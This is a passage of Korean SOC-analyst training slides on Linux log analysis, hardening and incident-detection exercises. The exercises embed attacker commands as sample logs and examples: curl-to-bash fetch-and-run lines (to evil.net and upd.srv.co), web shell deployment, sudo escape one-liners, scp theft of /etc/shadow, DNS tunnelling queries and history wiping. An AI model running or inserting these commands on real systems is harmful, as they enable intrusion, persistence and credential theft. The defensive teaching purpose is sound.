    # AppArmor 상태 확인
    aa-status
    apparmor_status | grep "enforce"
    📋 AppArmor 위반 로그
    # /var/log/syslog 또는 audit.log
    type=APPARMOR_DENIED msg=audit(1710000002.000:502):
    apparmor="DENIED" operation="open"
    profile="/usr/sbin/nginx"
    name="/tmp/shell.php"
    pid=4444 comm="nginx"
    requested_mask="r" denied_mask="r"
    nginx가 /tmp/shell.php 읽기 시도 차단 → 웹쉘 실행 방어 확인 가능
    Linux 시스템 보안 강화 체크리스트
    사고 예방은 탐지만큼 중요하다 — 기본 강화 설정이 공격 표면을 크게 줄인다
    분석
    🔒 SSH 강화
    # /etc/ssh/sshd_config 권장 설정
    PermitRootLogin no
    PasswordAuthentication no
    PubkeyAuthentication yes
    MaxAuthTries 3
    AllowUsers alice bob ops-team
    AllowTcpForwarding no
    X11Forwarding no
    LogLevel VERBOSE
    Banner /etc/ssh/banner.txt
    🛡️ 시스템 강화
    불필요한 서비스/데몬 비활성화
    NOPASSWD sudo 사용 금지
    /tmp, /var/tmp noexec 마운트 옵션
    umask 027 이상 설정
    비밀번호 정책 강화 (pam_pwquality)
    auditd 로그 원격 전송 설정
    정기 취약점 스캔 (Lynis, OpenVAS)
    보강 설명Linux 시스템 보안 강화 체크리스트 슬라이드는 사고 예방은 탐지만큼 중요하다 — 기본 강화 설정이 공격 표면을 크게 줄인다 정책 변화가 실제 로그와 운영 흐름에 어떤 차이를 만드는지도 같이 봐야 한다.
    정책최소 권한운영 예외
    핵심 포인트
    • 보안 설정은 차단 그 자체보다 운영 기준을 만드는 일이다
    • 최소 권한과 기본 거부 원칙이 로그 해석도 더 명확하게 만든다
    • 정책 적용 전후에 어떤 로그가 달라지는지 같이 확인하기
    추가 확인
    • 허용 예외 계정·서비스가 과도하지 않은지 검토
    • SELinux/AppArmor는 enforcing·permissive 상태를 구분해 보기
    • 정책 변경 후 정상 서비스 오류와 보안 신호를 구분하기
    실무 적용
    • 정책은 한 번에 끝내지 않고 로그를 보며 단계적으로 튜닝
    • 우회 가능한 운영 예외를 줄여 탐지 신뢰도를 높이기
    • 보안 강화 항목은 감사 체크리스트로 반복 점검
    실전 시나리오: Password Spraying 탐지
    스프레이 공격은 적은 횟수로 여러 계정을 시도해 계정 잠금을 우회한다 — 다른 시각이 필요하다
    시나리오
    📊 Password Spraying 특징
    # 같은 IP, 여러 계정, 느린 속도
    09:00:01 Failed password for alice from 203.0.113.5
    09:02:15 Failed password for bob from 203.0.113.5
    09:04:30 Failed password for carol from 203.0.113.5
    09:06:45 Failed password for dave from 203.0.113.5
    09:09:02 Accepted password for eve from 203.0.113.5
    → 계정 잠금 임계치(5회): 피해가 없음
    → 각 계정은 1회만 시도 → Fail2ban 미발동
    🔍 탐지 방법
    계정별 집계가 아닌 IP별 집계
    한 IP에서 여러 계정 시도 = 스프레이
    시간 창 내 고유 계정 수
    10분 내 동일 IP에서 5개 이상 계정 시도
    Splunk: stats dc(user) as unique_users by src_ip | where unique_users > 5
    계정당 실패 횟수 대신 IP당 고유 계정 수로 탐지 룰 변경 필요
    실전 시나리오: 내부자 위협 탐지
    외부 공격자보다 더 위험할 수 있는 내부자 위협은 로그 분석으로 탐지하기 가장 어렵다
    시나리오
    📊 내부자 위협 시나리오
    # 퇴직 예정 직원의 행동
    17:30:01 Accepted for john from 10.1.1.100 ← 사무실 VPN
    17:35:22 execve uid=1001: find /var/lib/database -name "*.sql" -size +1M
    17:36:10 execve uid=1001: tar czf /tmp/db_export.tar.gz /var/lib/database/
    17:38:45 execve uid=1001: scp /tmp/db_export.tar.gz john@192.168.1.50:/home/john/
    17:40:01 execve uid=1001: rm -f /tmp/db_export.tar.gz
    17:40:10 execve uid=1001: history -c
    🔍 탐지 신호
    업무 외 시간(퇴근 후)의 민감 데이터 접근
    tar 압축 + scp 외부 전송 패턴
    find로 대용량 파일 탐색
    이후 history 삭제 = 은닉 의도
    내부자 위협은 정상 인증 + 정상 권한으로 이루어짐 → 행동 분석(UEBA)과 맥락(퇴직 예정, 징계 이력)이 핵심
    시간대별 로그인 분석과 이상 패턴
    시간축 분석은 공격과 정상 운영을 구분하는 가장 직관적인 방법 중 하나다
    분석
    📊 시간별 집계 명령
    # 시간대별 로그인 성공 수
    grep "Accepted" /var/log/auth.log | awk '{print $3}' | cut -c1-2 | sort | uniq -c
    # 특정 사용자의 로그인 시간 분포
    grep "Accepted.*alice" /var/log/auth.log | awk '{print $3}' | sort
    # 야간 접속만 필터 (22:00~06:00)
    awk '/Accepted/{split($3,t,":");h=t[1]; if(h+0>=22||h+0<6)print}' /var/log/auth.log
    🔍 시간 분석 적용 예시
    정상 패턴
    09~18시 집중, 주말 없음
    항상 동일 IP에서 접속
    이상 패턴
    새벽 2~4시 접속 급증
    주말 관리자 계정 활동
    이전에 없던 시간대 접속
    Kibana 시각화
    히트맵 (x: 요일, y: 시간) → 이상 시간대 즉시 파악
    보강 설명시간대별 로그인 분석과 이상 패턴 슬라이드는 시간축 분석은 공격과 정상 운영을 구분하는 가장 직관적인 방법 중 하나다 핵심 사실을 읽은 뒤 왜 중요한지와 추가로 붙일 로그까지 함께 정리하면 실무 연결이 쉬워진다.
    핵심 개념확인 질문실무 연결
    핵심 포인트
    • 슬라이드 핵심 개념을 사실·패턴·맥락 순서로 읽어 보기
    • 용어 정의보다 실제 로그에서 어떻게 나타나는지 함께 기억하기
    • 정상과 이상을 비교하며 기준을 만드는 것이 중요하다
    추가 확인
    • 이 주제에서 꼭 붙여야 할 다른 로그는 무엇인지 생각하기
    • 오탐이 날 수 있는 정상 예외를 한 줄로 적어 보기
    • 자산 중요도와 시간대가 결론을 바꾸는지 확인
    실무 적용
    • 한 문장 보고서 형태로 요약해 보는 연습
    • 핵심 필드 3개와 그 이유를 함께 정리하기
    • 다음 슬라이드나 실습과 어떻게 이어지는지 연결해 보기
    네트워크 연결 로그와 C2 통신 탐지
    악성코드의 C2 통신은 Linux 네트워크 로그와 auditd에서 탐지할 수 있다
    분석
    🔍 네트워크 연결 상태 명령
    # 현재 연결 + 프로세스
    ss -tnp | grep ESTABLISHED
    netstat -tnp 2>/dev/null | grep ESTABLISHED
    # 리스닝 포트 확인
    ss -tlnp | grep LISTEN
    # 비정상 외부 연결 탐지
    ss -tnp | grep -v '10\.\|192\.168\.\|127\.\|::1'
    # 특정 외부 IP 연결 확인
    ss -tnp | grep 203.0.113
    🔴 C2 통신 특징
    비표준 포트(4444, 8080, 1337 등)의 외부 연결
    주기적(매 5분, 10분) 외부 연결 → Beacon
    실행 파일이 없는 프로세스의 연결
    HTTPS를 통한 암호화된 C2 (도메인 생성)
    auditd -a always,exit -F arch=b64 -S connect -k network_connect 규칙으로 모든 외부 연결 기록
    보강 설명네트워크 연결 로그와 C2 통신 탐지 슬라이드는 악성코드의 C2 통신은 Linux 네트워크 로그와 auditd에서 탐지할 수 있다 이때 원본 로그·시간축·수집 경로를 함께 봐야 판단이 흔들리지 않는다.
    원본 로그시간축수집 경로
    핵심 포인트
    • 파일명보다 어떤 이벤트를 담는 로그인지 먼저 구분하기
    • 배포판 차이와 journalctl·압축 로그 보강까지 함께 보기
    • 한 줄 로그도 시간·호스트·프로세스·결과로 빠르게 분해하기
    추가 확인
    • 타임존/NTP와 logrotate 보존 범위 확인
    • 로컬 원본과 SIEM 파싱 결과 차이 점검
    • 환경 설정상 빠질 수 있는 로그 소스는 없는지 체크
    실무 적용
    • auth→sudo→auditd처럼 여러 로그를 체인으로 연결
    • 원본 raw 로그를 보며 탐지 룰 필드 정의 만들기
    • 로그가 없으면 없는 이유까지 조사하는 습관 들이기
    파일시스템 무결성 모니터링(FIM)
    중요 파일의 변경을 감지하는 FIM은 침해 탐지의 핵심 보완 수단이다
    분석
    🛡️ FIM 도구들
    AIDE (Advanced Intrusion Detection Environment)
    DB 기반, 주기적 스캔, 해시 변경 탐지
    aide --check 2>&1 | grep -E "changed|added|removed"
    auditd 파일 감시 (-w)
    실시간 변경 감지, 변경 계정까지 기록
    Wazuh / OSSEC
    통합 FIM + 로그 분석 + 경보
    📋 감시해야 할 핵심 경로
    인증/계정
    /etc/passwd, /etc/shadow, /etc/group
    SSH
    /etc/ssh/*, ~/.ssh/authorized_keys
    권한
    /etc/sudoers, /etc/sudoers.d/*
    스케줄
    /etc/cron.*, /var/spool/cron/
    시스템 바이너리
    /bin, /sbin, /usr/bin, /usr/sbin
    웹서버
    /var/www/html/* (웹쉘 업로드 탐지)
    보강 설명파일시스템 무결성 모니터링(FIM) 슬라이드는 중요 파일의 변경을 감지하는 FIM은 침해 탐지의 핵심 보완 수단이다 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    탐지예외플레이북
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    종합 실습 Case G. 3단계 권한 상승 체인 분석
    webuser → www-data → root로 이어지는 3단계 체인을 로그에서 재구성한다
    실습 G
    # 분석 대상: web-prod-02 / 시간: 14:22~14:31
    14:22:10 Accepted password for webuser from 203.0.113.9 port 52001
    14:24:33 audit: execve uid=1003: a0="curl" a1="-s" a2="http://203.0.113.9/p.php" a3="-o" a4="/var/www/html/uploads/x.php"
    14:25:01 nginx: 203.0.113.9 "GET /uploads/x.php?c=id HTTP/1.1" 200 23
    14:25:02 audit: execve uid=33(www-data): a0="/bin/sh" a1="-c" a2="id"
    14:27:45 audit: execve uid=33: a0="sudo" a1="-l" ← sudo 권한 확인
    14:28:30 audit: execve uid=0: a0="python3" a1="-c" a2="import os;os.setuid(0);os.system('/bin/bash')"
    14:31:00 audit: execve uid=0: a0="useradd" a1="-m" a2="backdoor01"
    📋 분석 구조화 (작성해보기)
    초기 침투
    ?
    웹쉘 배포
    ?
    권한 상승
    ?
    지속성
    ?
    ATT&CK 매핑:
    T1078 Valid Accounts → T1505.003 Web Shell → T1548.003 Sudo Abuse → T1136 Create Account
    종합 실습 Case H. 정기 결제 서버의 이상 행위
    정상 서버에서 발생하는 작은 이상 신호들을 연결하는 연습
    실습 H
    📊 이벤트 순서
    # payment-01 서버
    Jan 14 00:05:01 CRON[4411]: (root) CMD (/usr/bin/curl -fsSL http://upd.srv.co/s.sh -o /tmp/.s && chmod +x /tmp/.s && /tmp/.s)
    Jan 14 00:05:04 audit: execve uid=0: a0="/tmp/.s" ← 은닉 파일명
    Jan 14 00:05:06 audit: connect uid=0 daddr=45.33.32.156 dport=4444 ← 비표준 포트
    Jan 14 01:05:01 CRON[4455]: (root) CMD (/usr/bin/curl ... 반복)
    ※ 승인된 업데이트 서버: internal-update.corp (10.0.0.5)
    🤔 판단 질문
    Q1. upd.srv.co는 내부 업데이트 서버인가?
    Q2. 45.33.32.156:4444 연결의 의미는?
    Q3. 매 1시간 반복 → 무엇이 의심되는가?
    Q4. payment-01에서 이 cron 언제부터 있었는가?
    예상 판단: Incident / 즉시 대응 (C2 + 지속성)
    종합 실습 Case I. 개발자 계정의 이상한 sudo 패턴
    평소와 다른 sudo 패턴이 실제 침해 vs 실수인지 판단하는 연습
    실습 I
    📊 관측 정보
    # dev-server-01 (개발 서버)
    10:15:01 Accepted publickey for dev-alice from 10.10.5.23
    10:20:45 sudo: dev-alice ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
    10:21:02 sudo: dev-alice ; USER=root ; COMMAND=/usr/bin/cat /etc/passwd
    10:21:30 sudo: dev-alice ; USER=root ; COMMAND=/usr/bin/cat /root/.ssh/authorized_keys
    10:22:10 audit: execve uid=0: a0="scp" a1="/etc/shadow" a2="dev-alice@192.168.1.90:/tmp/"
    알려진 정보
    dev-alice는 개발팀, 운영 DB는 접근 권한 없음. 10.10.5.23은 개발 PC
    🤔 판단 분기
    Q1. 개발 서버에 /etc/shadow sudo 접근이 정상인가?
    Q2. /root/.ssh/authorized_keys 조회 의도는?
    Q3. scp로 /etc/shadow를 개인 PC로 복사 → 어떤 의미인가?
    두 가지 해석:
    ① 계정 탈취: dev-alice 계정이 이미 공격자에 의해 사용됨
    ② 내부자: dev-alice가 자격증명 수집 시도
    예상 판단: 의심 / 즉시 에스컬레이션
    종합 실습 Case J. 비정상 DNS 쿼리와 터널링 의심
    네트워크 로그와 auditd를 결합한 DNS 터널링 탐지 연습
    실습 J
    📊 관측 이벤트
    # /var/log/syslog (DNS 쿼리)
    named: query: aGVsbG8td29ybGQ.evil-dns.net A +
    named: query: dGhpcyBpcyBzZWNy.evil-dns.net A +
    named: query: ZXQgZGF0YSBleGZp.evil-dns.net A +
    # auditd execve
    execve uid=33: a0="nslookup" a1="aGVsbG8td29ybGQ.evil-dns.net"
    서브도메인 패턴 분석:
    aGVsbG8td29ybGQ → Base64 디코딩 → hello-world
    DNS TXT/A 레코드를 데이터 채널로 사용
    🔍 DNS 터널링 특징
    서브도메인이 Base64/hex 인코딩된 긴 문자열
    같은 도메인으로 짧은 간격 연속 쿼리
    nslookup/dig 프로세스가 비정상 실행
    탐지: DNS 쿼리 길이 통계, 엔트로피 분석
    예상 판단: Incident / DNS 방화벽 차단 + IR
    PART 15
    실무 종합 정리
    분석가 성숙도 · 자기 개발 · 학습 리소스 · Q&A
    ⏱ 30분 | 마무리
    보강 설명실무 종합 정리 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    핵심 개념판단 기준실무 적용
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    SOC 분석가 성숙도 모델: 어디에 있고 어디로 가는가
    실력은 단계적으로 성장한다 — 지금 어느 단계인지 알아야 다음 단계를 준비할 수 있다
    개념
    L1
    로그 읽기 단계: 주어진 로그에서 기본 이벤트(로그인 성공/실패)를 식별할 수 있다. grep으로 키워드 검색 가능
    L2
    패턴 인식 단계: 브루트포스, /tmp 실행 등 일반 공격 패턴 인식. awk/sort/uniq로 집계 가능. 맥락 없이 패턴만으로 판단
    L3
    상관 분석 단계: 여러 소스 로그를 시간 축으로 연결해 공격 체인 재구성. 맥락(승인 작업, 자산 분류)을 고려한 판단 가능
    L4
    탐지 설계 단계: 분석한 패턴을 룰과 플레이북으로 환원. SIEM 탐지 개발, 위협 모델링, 로그 품질 개선 제안 가능
    이 과정 수료 후 목표: L2 → L3 도달. 실무 경험을 통해 L3 → L4로
    보강 설명SOC 분석가 성숙도 모델: 어디에 있고 어디로 가는가 슬라이드는 실력은 단계적으로 성장한다 — 지금 어느 단계인지 알아야 다음 단계를 준비할 수 있다 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    탐지예외플레이북
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    Linux 보안 분석가를 위한 추천 학습 리소스
    이 수업은 시작이다 — 실무 분석가로 성장하기 위한 다음 단계 리소스
    가이드
    🏋️ 실습 환경
    TryHackMe - SOC Level 1
    LetsDefend.io - SOC 플랫폼
    BlueTeamLabs.online
    Splunk Attack Range
    DFIR.training
    📚 공부 자료
    The Practice of Network Security Monitoring
    Linux Forensics (Harlan Carvey)
    SigmaHQ GitHub
    MITRE ATT&CK Linux
    auditd Best Practices (RedHat)
    🔧 도구 연습
    Elastic (ELK) 홈랩
    Splunk Free (500MB/day)
    Wazuh 오픈소스
    auditd 직접 설치
    MITRE Caldera 공격 시뮬레이션
    💡 다음 단계
    매일 30분: LetsDefend 실습 + auditd 룰 하나씩 이해 → 3개월 후 L3 분석가로 성장 가능
    보강 설명Linux 보안 분석가를 위한 추천 학습 리소스 슬라이드는 이 수업은 시작이다 — 실무 분석가로 성장하기 위한 다음 단계 리소스 핵심 사실을 읽은 뒤 왜 중요한지와 추가로 붙일 로그까지 함께 정리하면 실무 연결이 쉬워진다.
    핵심 개념확인 질문실무 연결
    핵심 포인트
    • 슬라이드 핵심 개념을 사실·패턴·맥락 순서로 읽어 보기
    • 용어 정의보다 실제 로그에서 어떻게 나타나는지 함께 기억하기
    • 정상과 이상을 비교하며 기준을 만드는 것이 중요하다
    추가 확인
    • 이 주제에서 꼭 붙여야 할 다른 로그는 무엇인지 생각하기
    • 오탐이 날 수 있는 정상 예외를 한 줄로 적어 보기
    • 자산 중요도와 시간대가 결론을 바꾸는지 확인
    실무 적용
    • 한 문장 보고서 형태로 요약해 보는 연습
    • 핵심 필드 3개와 그 이유를 함께 정리하기
    • 다음 슬라이드나 실습과 어떻게 이어지는지 연결해 보기
    PART 16
    핵심 Linux 보안 개념 확장
    프로세스 · 파일 · 네트워크 · 권한 관련 심화 내용
    ⏱ 계속
    보강 설명핵심 Linux 보안 개념 확장 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    핵심 개념판단 기준실무 적용
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    Linux 프로세스 생성 구조: fork/exec와 PPID
    PPID(부모 프로세스)를 알면 누가 이 명령을 실행했는지 역추적할 수 있다
    개념
    🔄 프로세스 트리
    # ps auxf - 트리 구조
    systemd(1)
    └── sshd(1234) ← SSH 데몬
    └── sshd(4512) ← 세션 핸들러
    └── bash(4513) ← 사용자 쉘
    └── curl(4601) ← 실행 명령
    # 이상한 부모
    nginx(3000)
    └── sh(5001) ← 웹서버가 쉘 실행? → 웹쉘!
    └── curl(5002) ← 외부 다운로드
    🔍 PPID 분석 포인트
    비정상 부모-자식 관계
    nginx → bash → curl
    httpd → sh → wget
    auditd에서 PPID 확인
    SYSCALL 레코드의 ppid= 필드
    ps -eo pid,ppid,comm,args | grep [PID]
    보강 설명Linux 프로세스 생성 구조: fork/exec와 PPID 슬라이드는 PPID(부모 프로세스)를 알면 누가 이 명령을 실행했는지 역추적할 수 있다 명령 조합과 실행 경로, 외부 연결을 함께 보면 의도가 더 분명하게 드러난다.
    명령행경로외부 연결
    핵심 포인트
    • 명령 이름보다 인자·실행 경로·부모 프로세스를 함께 보기
    • /tmp·/dev/shm·숨김 파일 경로는 우선 의심하기
    • curl→chmod +x→nohup 같은 조합은 강한 실행 신호다
    추가 확인
    • 해당 파일 생성 시점과 해시·권한·소유자 확인
    • EDR·auditd·네트워크 로그를 함께 붙여 전체 흐름 보기
    • 외부 목적지 IP/도메인 평판과 과거 반복 이력 조회
    실무 예시
    • 다운로드 후 즉시 실행은 배포와 공격 모두 가능하므로 승인 이력 확인
    • 웹쉘·터널링·역방향 셸은 네트워크 흔적과 함께 봐야 선명해짐
    • 프로세스 한 줄보다 연속 실행 체인이 사건의 무게를 정한다
    setuid/setgid 비트: 권한 상승의 숨겨진 경로
    setuid 비트가 설정된 파일은 실행 시 소유자 권한으로 동작한다 — 악용 시 즉각적인 권한 상승이 가능하다
    주의
    ⚠️ setuid 개념과 위험
    -rwsr-xr-x에서 s = setuid 비트
    • 실행 시 파일 소유자(보통 root)의 권한으로 실행
    • 예: /usr/bin/passwd (root 소유, setuid)
    • 공격자가 새로운 setuid 파일을 만들면 → 즉각 권한 상승
    # 신규 setuid 파일 탐지
    find / -perm -4000 -type f -ls 2>/dev/null | sort -k8
    # 최근 24시간 내 setuid 변경
    find / -perm -4000 -newer /proc/1/exe -ls 2>/dev/null
    🔍 auditd로 setuid 파일 생성 탐지
    # 규칙 설정
    -a always,exit -F arch=b64 -S chmod -F a1&=4000 -k setuid_set
    -a always,exit -F arch=b64 -S fchmod -F a2&=4000 -k setuid_set
    # 탐지 예시
    type=SYSCALL syscall=90(chmod) a0=/tmp/evil a1=0x41ed ← 0x4000=setuid
    /tmp/home의 setuid 파일 = 거의 확실한 공격
    Linux Capabilities: root 권한의 세분화
    capabilities는 root 권한을 작은 단위로 분리한다 — 공격자가 특정 capability를 악용할 수 있다
    개념
    🔑 주요 Capabilities
    CAP_NET_BIND_SERVICE
    1024 이하 포트 바인딩
    CAP_NET_RAW
    raw 소켓 (패킷 캡처, 스니핑)
    CAP_SYS_PTRACE
    프로세스 메모리 읽기/쓰기
    CAP_DAC_OVERRIDE
    파일 권한 무시 (거의 root)
    CAP_SYS_ADMIN
    거의 모든 root 권한 포함
    🔍 capability 탐지
    # 현재 프로세스 capability 확인
    cat /proc/[PID]/status | grep Cap
    capsh --decode=0000003fffffffff
    # 파일에 설정된 capability
    getcap -r / 2>/dev/null
    # 위험한 capability 가진 파일
    getcap -r /usr /bin /sbin 2>/dev/null | grep -E "cap_sys|cap_dac|cap_net_raw"
    보강 설명Linux Capabilities: root 권한의 세분화 슬라이드는 capabilities는 root 권한을 작은 단위로 분리한다 — 공격자가 특정 capability를 악용할 수 있다 권한 변화와 지속성 흔적이 이어지는지까지 확인해야 사건의 무게를 알 수 있다.
    권한 변화지속성조치 우선순위
    핵심 포인트
    • sudo·su·systemd·cron·authorized_keys는 권한 흔적의 핵심
    • 새 계정 생성과 sudoers 변경은 장기 재진입 구조일 수 있다
    • 한 번의 root 쉘보다 이후 남긴 지속성 흔적이 더 중요할 수 있다
    추가 확인
    • 관련 파일 mtime과 service enable 흔적 점검
    • auditd execve와 auth 로그를 같이 묶어 주체를 확인
    • 새 계정·새 키·새 서비스가 같은 세션에서 생겼는지 보기
    실무 적용
    • 지속성이 여러 겹이면 동시에 제거해야 재침투를 막을 수 있다
    • IAM·운영팀과 함께 계정 통제 범위를 즉시 정리
    • 권한상승 이벤트는 영향도 높은 자산부터 우선 대응
    /etc/sudoers 심화: 위험한 설정 패턴
    sudoers 설정의 작은 실수가 전체 시스템 권한 상승 경로를 열어줄 수 있다
    주의
    ❌ 위험한 sudoers 설정
    # 모든 명령 실행 (관리자만 해당)
    alice ALL=(ALL:ALL) NOPASSWD:ALL
    # 특정 명령만 허용했지만 GTFOBins 가능
    bob ALL=(ALL) NOPASSWD: /usr/bin/python3
    → python3 -c "import os;os.system('/bin/bash')"
    # 와일드카드 위험
    carol ALL=(ALL) NOPASSWD: /usr/bin/vim *
    → vim /etc/passwd → :shell 로 쉘 탈출
    ✅ 안전한 sudoers 패턴
    # 비밀번호 요구 (NOPASSWD 제거)
    alice ALL=(root) /usr/bin/systemctl restart nginx
    # 정확한 경로, 인수 고정
    bob ALL=(root) /usr/bin/apt update
    # GTFOBins 확인 후 허용
    # https://gtfobins.github.io
    모든 NOPASSWD 항목을 auditd로 감시하고 정기적으로 sudoers 감사 필수
    journalctl 심화 활용: 구조화 로그의 힘
    journald는 구조화 로그를 저장하므로 텍스트 grep보다 훨씬 강력한 필터링이 가능하다
    명령어
    🔍 고급 journalctl 옵션
    # 특정 프로세스 ID
    journalctl _PID=4512
    # 특정 UID
    journalctl _UID=1001 --since "2024-01-12"
    # 우선순위 (crit, alert, emerg)
    journalctl -p crit --since today
    # JSON 형식 출력
    journalctl -u sshd -o json | python3 -m json.tool | head -40
    # 커널 메시지
    journalctl -k --since "1 hour ago"
    # 디스크 사용량 확인
    journalctl --disk-usage
    📋 journald 구조화 필드
    _HOSTNAME
    호스트명
    _PID
    프로세스 ID
    _UID
    사용자 ID
    _GID
    그룹 ID
    _COMM
    프로세스명
    _EXE
    실행 파일 경로
    SYSLOG_IDENTIFIER
    서비스명
    journalctl _COMM=sshd _UID=0 --since today — root 권한 sshd 프로세스 이벤트
    wtmp · btmp · lastlog 분석
    이진 파일 형식의 세션 기록은 세션 지속 시간과 과거 접속 패턴을 파악하는 데 유용하다
    분석
    last (wtmp)
    last -20 # 최근 20건
    last -F # 날짜 전체 포맷
    last alice # 특정 사용자
    last reboot # 재부팅 이력
    lastb # 실패 로그인 (btmp)
    로그인 세션 기록 + 지속 시간
    lastlog
    lastlog # 모든 계정 최근 로그인
    lastlog -u alice # 특정 계정
    lastlog | grep "Never logged in"
    # 한 번도 로그인 안 한 계정
    계정별 마지막 로그인 정보
    분석 활용
    • 세션 지속 시간 이상 탐지
    • 재부팅 이력으로 은닉 악성코드 시작 추적
    • "Never logged in" 계정이 로그인하면 생성 후 침해
    • 오래된 비활성 계정의 갑작스러운 로그인
    wtmp/btmp/lastlog는 이진 파일 — 텍스트 편집기로 열면 안 되고, 전용 명령(last, lastb, lastlog)으로만 읽어야 함
    su와 sudo의 차이와 보안 함의
    su와 sudo는 모두 권한을 올리지만 로그 기록 방식과 보안 특성이 다르다
    개념
    🔄 su 명령
    목표 계정의 비밀번호 필요
    • 완전한 새 쉘 세션 (환경변수 교체)
    • 감사: auth.log에 su 기록, 이후 명령은 새 UID로
    # su 성공 로그
    su: Successful su for root by alice
    su: pam_unix(su:session): session opened for user root
    # su 실패
    su: FAILED SU (to root) alice on pts/1
    ⚡ sudo 명령
    자신의 비밀번호 (또는 NOPASSWD)
    • 명령별 권한 부여 가능 (세분화)
    • 감사: 실행된 명령 전체가 로그에 남음
    # sudo 성공 로그
    sudo: alice : TTY=pts/0 ; USER=root ; COMMAND=/bin/ls
    # sudo 실패 (sudoers에 없음)
    sudo: alice : user NOT in sudoers ; COMMAND=/bin/bash
    sudo가 감사 관점에서 우수 — 명령별 기록, 세분화 가능
    cron 문법 완전 이해와 보안 위협
    cron은 자동화 도구이자 공격자의 최애 지속성 수단이다 — 문법을 알아야 로그를 읽을 수 있다
    개념
    ⏱ cron 표현식
    0-59 0-23 1-31 1-12 요일 0-7(0,7=일)
    # 자주 보이는 패턴
    * * * * * /cmd ← 매 1분 (의심!)
    0 * * * * /cmd ← 매 1시간
    */5 * * * * /cmd ← 5분마다
    0 2 * * * /cmd ← 새벽 2시 매일
    @reboot /cmd ← 재부팅 시 (지속성!)
    🔍 보안 관점 cron 감사
    # 모든 사용자 crontab 점검
    for user in $(cut -f1 -d: /etc/passwd); do
    cron=$(crontab -u "$user" -l 2>/dev/null)
    [ -n "$cron" ] && echo "=== $user ===" && echo "$cron"
    done
    # 시스템 cron 디렉터리
    ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly
    find /var/spool/cron -ls 2>/dev/null
    외부 URL을 실행하는 cron = 즉각적인 고위험 탐지
    systemd 서비스를 통한 지속성 확보와 탐지
    cron보다 강력한 지속성 수단인 systemd 서비스 등록은 재부팅 후에도 실행을 보장한다
    주의
    🔴 악성 서비스 파일 예시
    # /etc/systemd/system/sysupdate.service
    [Unit]
    Description=System Update Service
    [Service]
    Type=oneshot
    ExecStart=/bin/bash -c "curl -fsSL http://evil.net/s.sh | bash"
    RemainAfterExit=yes
    [Install]
    WantedBy=multi-user.target ← 부팅 시 실행
    🔍 탐지 방법
    # 최근 변경된 서비스 파일
    find /etc/systemd /lib/systemd /usr/lib/systemd -name "*.service" -mtime -7 -ls
    # enabled 서비스 목록
    systemctl list-unit-files --type=service | grep enabled
    # journald에서 서비스 시작
    journalctl -u sysupdate.service -n 50
    설명이 애매하거나 ExecStart에 curl/bash 포함 = 즉시 조사
    bash/shell history 분석과 한계
    history 파일은 빠른 초동 분석에 유용하지만, 공격자가 쉽게 삭제할 수 있다는 한계가 있다
    분석
    📋 history 분석 명령
    # 타임스탬프 포함 history
    HISTTIMEFORMAT="%F %T " history | tail -50
    # 모든 사용자 history 파일
    find /home /root -name ".*history" -ls 2>/dev/null
    cat /home/alice/.bash_history
    cat /root/.bash_history
    # 위험 명령 검색
    grep -E "curl|wget|nc|ncat|python|perl" ~/.bash_history
    grep -E "chmod\s+\+x|/tmp/|base64" ~/.bash_history
    ⚠️ history의 한계
    삭제 쉬움: history -c && unset HISTFILE
    비활성화 가능: HISTSIZE=0
    여러 세션이 동시에 history를 덮어쓸 수 있음
